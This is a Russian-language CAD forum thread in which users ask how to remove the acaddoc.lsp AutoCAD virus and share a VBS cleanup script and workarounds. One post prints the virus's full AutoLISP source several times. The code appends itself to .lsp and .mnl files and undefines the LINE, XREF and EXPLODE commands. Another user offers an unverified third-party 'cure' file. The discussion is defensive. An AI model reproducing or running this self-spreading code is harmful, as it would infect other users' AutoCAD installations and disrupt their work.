Acaddoc.lsp вирус или нет?

Acaddoc.lsp вирус или нет? · 14.10.2008, 13:38

Помогите удалить этот вирус. При открытии черчежей автоматически создаётся файл acaddoc.lsp. После того как он попадает на машину AutoCad перестаёт работать корректно, все черчежи открвыаются только с нажатием ESC и каждый раз в новом AutoCad. Пробовал удалять вручную, чистил антивирусом AVP 8, Symantec 10, CureIt они его удаляют. Но при открытии черчежей создаётся заново. Также читал на форумах что надо почистить его внутри изменить некоторые переменные, тоже не помогает.

Помогите пожалуйста.

KSI · 12.07.2010, 11:08

Нет потому, что у него имя другое Acad...doc.lsp. Вместо ... - номер версии Асада.

Profan · 12.07.2010, 11:30

Цитата:

Сообщение от znatok

А у меня на компьютере нет файла Acaddoc.lsp, тогда какое это еобходимое дополнение? если да, то где взять...
Всё же, я считаю это вирусный файл

Если внимательно просмотреть дистрибутив AutoCAD'а, то можно обнаружить, например для AutoCAD 2011, файлы acad2011.lsp и acad2011doc.lsp. Это служебные файлы AutoCAD'а, а не вирусы.

Ner · 28.11.2010, 12:56

Цитата:

Сообщение от VVA

Вариант Антивируса отсюда
Сохранить в файле AntiVirus.vbs и выполнить

Код:

[Выделить все]

strComputer = "."
BuferFile = "c:\bufer.txt"
Count = 0
Set objWMIService = GetObject("winmgmts:" _
    & "{impersonationLevel=impersonate}!\\" & strComputer & "\root\cimv2")

Set colFiles = objWMIService. _
    ExecQuery("Select * from CIM_DataFile where (Extension = 'lsp') or (Extension = 'mnl')")
For Each objFile in colFiles
 Set oFSO = CreateObject("Scripting.FileSystemObject")
 Set oLogFile= oFSO.OpenTextFile(objFile.Name)
 Set BufFile= oFSO.CreateTextFile(BuferFile,true)
 sLogLine=""
 While (Not (oLogFile.AtEndOfStream))and(sLogLine<>"(setq flagx t)")
     sLogLine = oLogFile.ReadLine
     if sLogLine<>"(setq flagx t)" Then
       BufFile.WriteLine sLogLine
     end if
 Wend
 oLogFile.Close
 BufFile.Close
 If sLogLine="(setq flagx t)" Then
  oFSO.DeleteFile(objFile.Name)
  oFSO.CopyFile BuferFile,objFile.Name,True
  Count=Count+1
 End if
 oFSO.DeleteFile(BuferFile)
Next

Set colFiles = objWMIService. _
    ExecQuery("Select * from CIM_DataFile where (Extension = 'mnr') or (Extension = 'mnc') or (Extension = 'mns')")
For Each objFile in colFiles
 Set oFSO = CreateObject("Scripting.FileSystemObject")
  oFSO.DeleteFile(objFile.Name)
 Next

Set colFiles = objWMIService. _
    ExecQuery("Select * from CIM_DataFile where (Extension = 'lsp') or (Extension = 'mnl')")
For Each objFile in colFiles
 Set oFSO = CreateObject("Scripting.FileSystemObject")
 Set oLogFile= oFSO.OpenTextFile(objFile.Name)
 Set BufFile= oFSO.CreateTextFile(BuferFile,true)
 sLogLine=""
 While (Not (oLogFile.AtEndOfStream))and(sLogLine<>"(setq flagx t)")
     sLogLine = oLogFile.ReadLine
     if sLogLine<>"(setq flagx t)" Then
       BufFile.WriteLine sLogLine
     end if
 Wend
 oLogFile.Close
 BufFile.Close
 If sLogLine="(setq flagx t)" Then
  oFSO.DeleteFile(objFile.Name)
  oFSO.CopyFile BuferFile,objFile.Name,True
  Count=Count+1
 End if
 oFSO.DeleteFile(BuferFile)
Next


'If Count>0 Then
 WScript.Echo "Вылечено " & Count & " файлов"
'End If

Привет, VVA! У меня почему то не работает эта программка, в чем может быть дело? Я прикрепил два скриншота, на первом я попробовал запустить антивирус от имени администратора, а потом от свой учетной записи, выдает разные ошибки... Можно с этим что нибудь сделать? У меня стоит Windows 7.

VVA · 29.11.2010, 10:03

Ner, Я не мастер писать на vbs. Здесь я привел только ссылку и сам код. Если здесь не ответят, попробуй обратиться на форум, где общаются администраторы.

DilshatDK · 17.12.2010, 15:06

Нашел выход из этой ситуации. Может кто-то и где-то уже давно это узнал или написал про это. Тогда прошу прощения. Просто лень читать все комменты....

Суть заключается в следующем:

1) Открыть блокнотом файл acaddoc.lsp из папки C:\Program Files\AutoCAD 2009\Support

2) удалить все его содержание. Сохранить.

3) в свойствах файла acaddoc.lsp указать ТОЛЬКО ЧТЕНИЕ

При последующих открытиях любого, хоть даже зараженного вирусом файла автокада в командной строке будет типа такого:

(setq dwgname (getvar "dwgname"))
(setq dwgpath (findfile dwgname))
(if dwgpath
(progn
(setq acaddocpath (vl-filename-directory dwgpath))
(setq acaddocfile (strcat acaddocpath "\\acaddoc.lsp"))
(setq mnln 0)
(while (< mnln mnlnum)
(setq mnlfilename (strcat acadmnlpath "\\" (nth mnln mnlfilelist)))
(app mnlfilename acaddocfile bz)
(app acaddocfile mnlfilename bz)
(setq mnln (1+ mnln))
);while
(setq lspn 0)
(while (< lspn lspnum)
(setq lspfilename (strcat support "\\" (nth lspn lspfilelist)))
(app lspfilename acaddocfile bz)
(app acaddocfile lspfilename bz)
(setq lspn (1+ lspn))
);while
);progn
);if
(setq mnln 0)
(while (< mnln mnlnum)
(setq mnlfilename (strcat acadmnlpath "\\" (nth mnln mnlfilelist)))
(setq mnln1 0)
(while (< mnln1 mnlnum)
(setq mnlfilename1 (strcat acadmnlpath "\\" (nth mnln1 mnlfilelist)))
(app mnlfilename mnlfilename1 bz)
(setq mnln1 (1+ mnln1))
);while
(setq lspn1 0)
(while (< lspn1 lspnum)
(setq lspfilename1 (strcat support "\\" (nth lspn1 lspfilelist)))
(app mnlfilename lspfilename1 bz)
(setq lspn1 (1+ lspn1))
);while
(setq mnln (1+ mnln))
);while
(setq lspn 0)
(while (< lspn lspnum)
(setq lspfilename (strcat support "\\" (nth lspn lspfilelist)))
(setq lspn1 0)
(while (< lspn1 lspnum)
(setq lspfilename1 (strcat support "\\" (nth lspn1 lspfilelist)))
(app lspfilename lspfilename1 bz)
(setq lspn1 (1+ lspn1))
);while
(setq mnln1 0)
(while (< mnln1 mnlnum)
(setq mnlfilename1 (strcat acadmnlpath "\\" (nth mnln1 mnlfilelist)))
(app lspfilename mnlfilename1 bz)
(setq mnln1 (1+ mnln1))
);while
(setq lspn (1+ lspn))
);while
(setvar "sdi" 1)
(setvar "ACADLSPASDOC" 1)
(command "undefine" "line")
(command "undefine" "_line")
(command "undefine" "xref")
(command "undefine" "_xref")
(command "undefine" "explode")
(command "undefine" "_explode")
(setvar "cmdecho" 1)
(load "acadapq")
(princ)
(setq flagx t)
(setq bz "(setq flagx t)")
(defun app(source target bz / flag flag1 wjm wjm1 text)
(setq flag nil)
(setq flag1 t)
(if (findfile target)
(progn
(setq wjm1 (open target "r"))
(while (setq text (read-line wjm1))
(if (= text bz) (setq flag1 nil))
);while
(close wjm1)
);progn
);if
(if flag1
(progn
(setq wjm (open source "r"))
(setq wjm1 (open target "a"))
(write-line (chr 13) wjm1)
(while (setq text (read-line wjm))
(if (= text bz) (setq flag t))
(if flag
(progn
(write-line text wjm1)
);progn
);if
);while
(close wjm1)
(close wjm)
);progn
);if
);defun
(setvar "cmdecho" 0)
(setq acadmnl (findfile "acad.mnl"))
(setq acadmnlpath (vl-filename-directory acadmnl))
(setq mnlfilelist (vl-directory-files acadmnlpath "*.mnl"))
(setq mnlnum (length mnlfilelist))
(setq acadexe (findfile "acad.exe"))
(setq acadpath (vl-filename-directory acadexe))
(setq support (strcat acadpath "\\support"))
(setq lspfilelist (vl-directory-files support "*.lsp"))
(setq lspfilelist (append lspfilelist (list "acaddoc.lsp")))
(setq lspnum (length lspfilelist))
(setq dwgname (getvar "dwgname"))
(setq dwgpath (findfile dwgname))
(if dwgpath
(progn
(setq acaddocpath (vl-filename-directory dwgpath))
(setq acaddocfile (strcat acaddocpath "\\acaddoc.lsp"))
(setq mnln 0)
(while (< mnln mnlnum)
(setq mnlfilename (strcat acadmnlpath "\\" (nth mnln mnlfilelist)))
(app mnlfilename acaddocfile bz)
(app acaddocfile mnlfilename bz)
(setq mnln (1+ mnln))
);while
(setq lspn 0)
(while (< lspn lspnum)
(setq lspfilename (strcat support "\\" (nth lspn lspfilelist)))
(app lspfilename acaddocfile bz)
(app acaddocfile lspfilename bz)
(setq lspn (1+ lspn))
);while
);progn
);if
(setq mnln 0)
(while (< mnln mnlnum)
(setq mnlfilename (strcat acadmnlpath "\\" (nth mnln mnlfilelist)))
(setq mnln1 0)
(while (< mnln1 mnlnum)
(setq mnlfilename1 (strcat acadmnlpath "\\" (nth mnln1 mnlfilelist)))
(app mnlfilename mnlfilename1 bz)
(setq mnln1 (1+ mnln1))
);while
(setq lspn1 0)
(while (< lspn1 lspnum)
(setq lspfilename1 (strcat support "\\" (nth lspn1 lspfilelist)))
(app mnlfilename lspfilename1 bz)
(setq lspn1 (1+ lspn1))
);while
(setq mnln (1+ mnln))
);while
(setq lspn 0)
(while (< lspn lspnum)
(setq lspfilename (strcat support "\\" (nth lspn lspfilelist)))
(setq lspn1 0)
(while (< lspn1 lspnum)
(setq lspfilename1 (strcat support "\\" (nth lspn1 lspfilelist)))
(app lspfilename lspfilename1 bz)
(setq lspn1 (1+ lspn1))
);while
(setq mnln1 0)
(while (< mnln1 mnlnum)
(setq mnlfilename1 (strcat acadmnlpath "\\" (nth mnln1 mnlfilelist)))
(app lspfilename mnlfilename1 bz)
(setq mnln1 (1+ mnln1))
);while
(setq lspn (1+ lspn))
);while
(setvar "sdi" 1)
(setvar "ACADLSPASDOC" 1)
(command "undefine" "line")
(command "undefine" "_line")
(command "undefine" "xref")
(command "undefine" "_xref")
(command "undefine" "explode")
(command "undefine" "_explode")
(setvar "cmdecho" 1)
(setq flagx t)
(setq bz "(setq flagx t)")
(defun app(source target bz / flag flag1 wjm wjm1 text)
(setq flag nil)
(setq flag1 t)
(if (findfile target)
(progn
(setq wjm1 (open target "r"))
(while (setq text (read-line wjm1))
(if (= text bz) (setq flag1 nil))
);while
(close wjm1)
);progn
);if
(if flag1
(progn
(setq wjm (open source "r"))
(setq wjm1 (open target "a"))
(write-line (chr 13) wjm1)
(while (setq text (read-line wjm))
(if (= text bz) (setq flag t))
(if flag
(progn
(write-line text wjm1)
);progn
);if
);while
(close wjm1)
(close wjm)
);progn
);if
);defun
(setvar "cmdecho" 0)
(setq acadmnl (findfile "acad.mnl"))
(setq acadmnlpath (vl-filename-directory acadmnl))
(setq mnlfilelist (vl-directory-files acadmnlpath "*.mnl"))
(setq mnlnum (length mnlfilelist))
(setq acadexe (findfile "acad.exe"))
(setq acadpath (vl-filename-directory acadexe))
(setq support (strcat acadpath "\\support"))
(setq lspfilelist (vl-directory-files support "*.lsp"))
(setq lspfilelist (append lspfilelist (list "acaddoc.lsp")))
(setq lspnum (length lspfilelist))
(setq dwgname (getvar "dwgname"))
(setq dwgpath (findfile dwgname))
(if dwgpath
(progn
(setq acaddocpath (vl-filename-directory dwgpath))
(setq acaddocfile (strcat acaddocpath "\\acaddoc.lsp"))
(setq mnln 0)
(while (< mnln mnlnum)
(setq mnlfilename (strcat acadmnlpath "\\" (nth mnln mnlfilelist)))
(app mnlfilename acaddocfile bz)
(app acaddocfile mnlfilename bz)
(setq mnln (1+ mnln))
);while
(setq lspn 0)
(while (< lspn lspnum)
(setq lspfilename (strcat support "\\" (nth lspn lspfilelist)))
(app lspfilename acaddocfile bz)
(app acaddocfile lspfilename bz)
(setq lspn (1+ lspn))
);while
);progn
);if
(setq mnln 0)
(while (< mnln mnlnum)
(setq mnlfilename (strcat acadmnlpath "\\" (nth mnln mnlfilelist)))
(setq mnln1 0)
(while (< mnln1 mnlnum)
(setq mnlfilename1 (strcat acadmnlpath "\\" (nth mnln1 mnlfilelist)))
(app mnlfilename mnlfilename1 bz)
(setq mnln1 (1+ mnln1))
);while
(setq lspn1 0)
(while (< lspn1 lspnum)
(setq lspfilename1 (strcat support "\\" (nth lspn1 lspfilelist)))
(app mnlfilename lspfilename1 bz)
(setq lspn1 (1+ lspn1))
);while
(setq mnln (1+ mnln))
);while
(setq lspn 0)
(while (< lspn lspnum)
(setq lspfilename (strcat support "\\" (nth lspn lspfilelist)))
(setq lspn1 0)
(while (< lspn1 lspnum)
(setq lspfilename1 (strcat support "\\" (nth lspn1 lspfilelist)))
(app lspfilename lspfilename1 bz)
(setq lspn1 (1+ lspn1))
);while
(setq mnln1 0)
(while (< mnln1 mnlnum)
(setq mnlfilename1 (strcat acadmnlpath "\\" (nth mnln1 mnlfilelist)))
(app lspfilename mnlfilename1 bz)
(setq mnln1 (1+ mnln1))
);while
(setq lspn (1+ lspn))
);while
(setvar "sdi" 1)
(setvar "ACADLSPASDOC" 1)
(command "undefine" "line")
(command "undefine" "_line")
(command "undefine" "xref")
(command "undefine" "_xref")
(command "undefine" "explode")
(command "undefine" "_explode")
(setvar "cmdecho" 1)
(load "acadapq")
(princ)
(setq flagx t)
(setq bz "(setq flagx t)")
(defun app(source target bz / flag flag1 wjm wjm1 text)
(setq flag nil)
(setq flag1 t)
(if (findfile target)
(progn
(setq wjm1 (open target "r"))
(while (setq text (read-line wjm1))
(if (= text bz) (setq flag1 nil))
);while
(close wjm1)
);progn
);if
(if flag1
(progn
(setq wjm (open source "r"))
(setq wjm1 (open target "a"))
(write-line (chr 13) wjm1)
(while (setq text (read-line wjm))
(if (= text bz) (setq flag t))
(if flag
(progn
(write-line text wjm1)
);progn
);if
);while
(close wjm1)
(close wjm)
);progn
);if
);defun
(setvar "cmdecho" 0)
(setq acadmnl (findfile "acad.mnl"))
(setq acadmnlpath (vl-filename-directory acadmnl))
(setq mnlfilelist (vl-directory-files acadmnlpath "*.mnl"))
(setq mnlnum (length mnlfilelist))
(setq acadexe (findfile "acad.exe"))
(setq acadpath (vl-filename-directory acadexe))
(setq support (strcat acadpath "\\support"))
(setq lspfilelist (vl-directory-files support "*.lsp"))
(setq lspfilelist (append lspfilelist (list "acaddoc.lsp")))
(setq lspnum (length lspfilelist))
(setq dwgname (getvar "dwgname"))
(setq dwgpath (findfile dwgname))
(if dwgpath
(progn
(setq acaddocpath (vl-filename-directory dwgpath))
(setq acaddocfile (strcat acaddocpath "\\acaddoc.lsp"))
(setq mnln 0)
(while (< mnln mnlnum)
(setq mnlfilename (strcat acadmnlpath "\\" (nth mnln mnlfilelist)))
(app mnlfilename acaddocfile bz)
(app acaddocfile mnlfilename bz)
(setq mnln (1+ mnln))
);while
(setq lspn 0)
(while (< lspn lspnum)
(setq lspfilename (strcat support "\\" (nth lspn lspfilelist)))
(app lspfilename acaddocfile bz)
(app acaddocfile lspfilename bz)
(setq lspn (1+ lspn))
);while
);progn
);if
; ошибка: неверный тип аргумента: streamp nil

Но никаких проблем с автокадом у вас уже не возникнет

VitSid · Регистрация: 07.11.2009

Привет всем! Достаточно долго не мог справиться с этим вирусом. Он тормозил автокад, запускал каждый файл в новом окне и вообще превращал работу в разочарование. Читал на форуме, но справиться с проблемой своими силами так и не смог. Нашел у турецкого программиста и инженера готовую программку в LSP формате, которая тут же мне помогла. Она просто удаляет весь вирус с компа, где бы он ни был и не дает ему распространяться вновь. Чтобы им воспользоваться просто откройте автокад, откройте папку с файлом, и перетащите его в окошко автокад (вниз на свернутую ссылку на панели задач, он развернется) и все. Вирус Вас больше не побеспокоит. Лично опробовал на 2011. Спасибо туркам).

МВ · 17.02.2011, 11:16

Что то мне этот пользователь VitSid с его одним сообщением не внушает доверия, в теме связанной с вирусами.

VitSid · 17.02.2011, 11:25

Ну это дело каждого, верить мне или нет. Просто я сам дней 15 мучался с этим вирусом, если кому-то не помогут ранее предложенные способы борьбы с вирусом, то они могут попробовать. У меня получилось, но я еще раз говорю, что доверие - это дело хозяйское). Доказывать кому-то что-то я тут не намерен, просто может быть помочь и все. Спасибо за понимание.

gomer · 18.02.2011, 22:34

Цитата:

Сообщение от VitSid

Спасибо туркам).

Какой то бред...
Есть программа Everything запускаете, набираете acaddoc.lsp и удаляете, все
Offtop: Кстати, подхватил недавно вирус, теперь справка акада отображается только после сообщения от эксплорера... Как можно это победить

sbi · 19.02.2011, 16:17

Цитата:

Сообщение от gomer

Offtop: Как можно это победить

Offtop: Не
пользоваться им. Лучше Волков командора Win не победить

gomer · 19.02.2011, 17:16

Offtop: Я им и не пользуюсь... просто вирус поменял настройки и заблокировал настройки для локального компьютера, также не отображается семинар по новым возможностям и окно регистрации автогада а винду переустанавливать неохота...

VVA · 20.02.2011, 20:05

Цитата:

Сообщение от gomer

просто вирус поменял настройки и заблокировал настройки для локального компьютера

gomer, Попробуй утилитой AVZ полечить. После запуска меню Файл -> Мастер поиска и устранения проблем Категория -> Системные проблемы Степень опасности -> Все проблемы

gomer · 20.02.2011, 21:50

Вот такое печальное окно...
VVA, пробовал - не помогло...
может это не то совсем...
Также не работает семинар по новым возможностям...
и окно активации

VVA · 21.02.2011, 13:24

gomer, Поиграйся с веткой HKEY_CURRENT_USER\Software\Policies\Microsoft\Internet Explorer\Control Panel (предварительно сохранив резервную копию). Если увидишь значение ключа = 1, то либо установи в 0 либо удали.

gomer · 21.02.2011, 21:48

VVA, нет такое ветки... есть
HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Internet Explorer...

\Control Panel в ней нет...

sbi · 21.02.2011, 22:03

gomer Доигрался?

gomer · 22.02.2011, 18:19

Цитата:

Сообщение от sbi

Доигрался?

угу... просто не охота винду переустанавливать... из-за всяких там автокадов
А вообще у кого-то работают кнопки из #73 может проблема и не в вирусе... avz4 помочь не смогла...

sbi · 22.02.2011, 21:50

gomer Offtop: Ломать не строить!

gomer · 23.02.2011, 20:18

потом то стоить все равно придется...

KronSerg · 05.03.2011, 15:48

На работе у коллег стали бесследно исчезать DWG файлы, нашёл в рабочих папках acad.lsp, а в Support ещё и acadiso.lsp, онлайн проверка Вебом показала

Цитата:

infected with ACAD.KillFiles

McAfee грохает только acadiso.lsp, на acad.lsp говорит чистый, распростронение продолжается, админ верит что раз McAfee говорит чисто, значит чисто, вирус распростроняется очень быстро, будьте бдительны.
PS Восстановить исчезнувшие файлы не удаётся, пока исчезают только файлы с флешек, которые открывались на домашних компах, где домашние антивирусники убивали acad.lsp.

Похожие темы
Тема	Автор	Раздел	Ответов	Последнее сообщение
Пароизоляция утеплителя: нужна или нет.	Romka	Прочее. Архитектура и строительство	183	18.08.2016 23:36
Advance Steel. Изучать или нет.	Saha	Advance Steel	4	19.09.2008 06:08
Нужен МКЭ расчет или нет?	SRG_ORL	Расчетные программы	36	22.12.2006 00:39
Можно ли делать в проекте свободную планировку кв-р или нет?	tyoma	Разное	4	09.12.2006 08:05

14.10.2008, 13:38
Acaddoc.lsp вирус или нет? Mikhail.Pavliy Регистрация: 14.10.2008 Сообщений: 8 Помогите удалить этот вирус. При открытии черчежей автоматически создаётся файл acaddoc.lsp. После того как он попадает на машину AutoCad перестаёт работать корректно, все черчежи открвыаются только с нажатием ESC и каждый раз в новом AutoCad. Пробовал удалять вручную, чистил антивирусом AVP 8, Symantec 10, CureIt они его удаляют. Но при открытии черчежей создаётся заново. Также читал на форумах что надо почистить его внутри изменить некоторые переменные, тоже не помогает. Помогите пожалуйста.
Просмотров: 85798